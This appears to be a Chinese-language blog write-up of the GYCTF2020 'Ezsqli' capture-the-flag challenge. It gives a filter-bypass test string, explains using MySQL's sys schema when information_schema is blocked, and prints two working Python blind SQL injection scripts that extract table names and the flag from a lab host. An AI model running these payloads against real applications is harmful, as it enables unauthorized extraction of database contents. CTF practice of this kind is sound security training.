[GYCTF2020]Ezsqli

先试一下万能密码

1' or 1=1#

发现有过滤,fuzz看一下过滤了什么

if,|,|| 没过滤,过滤了information_schema

MySQL5.7新特性:
由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chemainformation_schema两个库,本身数据库不存储数据。

information_schema.tables可以用sys.schema_table_statistics_with_buffersys.x$schema_table_statistics_with_buffer代替。

脚本:

import requests
import time
flag=""
src = "qwertyuiopasdfghjklzxcvbnm|1234567890?{_+}-=;',./<>!@#$%^&*()\""
 
url =  "http://19fd2d53-da0b-4dc7-9a3d-cf3e98da329e.node4.buuoj.cn:81/index.php"
 
for i in range(1,50):
    print(i)
    for j in src:
        pyload ={
 
        "id":"1^(ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),%d,1))=%d)^1" % (i, ord(j))
 
                 }
        time.sleep(0.5)
        res=requests.post(url=url, data=pyload)
        if 'Nu1L' in res.text:
            print(i)
            flag+=j
            print(flag)
            break
 
            #users233333333333333, f1ag_1s_h3r3_hhhhh

这里 涉及到的是无列名注入

比较方式就是按照位比较ASCII大小,大的就大,举个例子
asd > abc
asd < flag
asd > absadasda
只要出现了大,那就是大
所以下面就是按照ASCII顺序去比较字符串,最后要减1是因为我们拿的是大于嘛,减1就是等于了

import requests
import time
 
url='http://19fd2d53-da0b-4dc7-9a3d-cf3e98da329e.node4.buuoj.cn:81/index.php'
flag=''
for j in range(1,50):
    for i in range(32,128):
        hexchar=flag+chr(i)     
        payload='-1||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        datas={'id':payload}
        print(payload)
        time.sleep(0.5)
        re=requests.post(url=url,data=datas)
        if 'Nu1L' in re.text:
            flag+=chr(i-1)
            print(flag)
            break
 
print(flag.lower())

得到flag的字母是大写的,改成小写就行了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值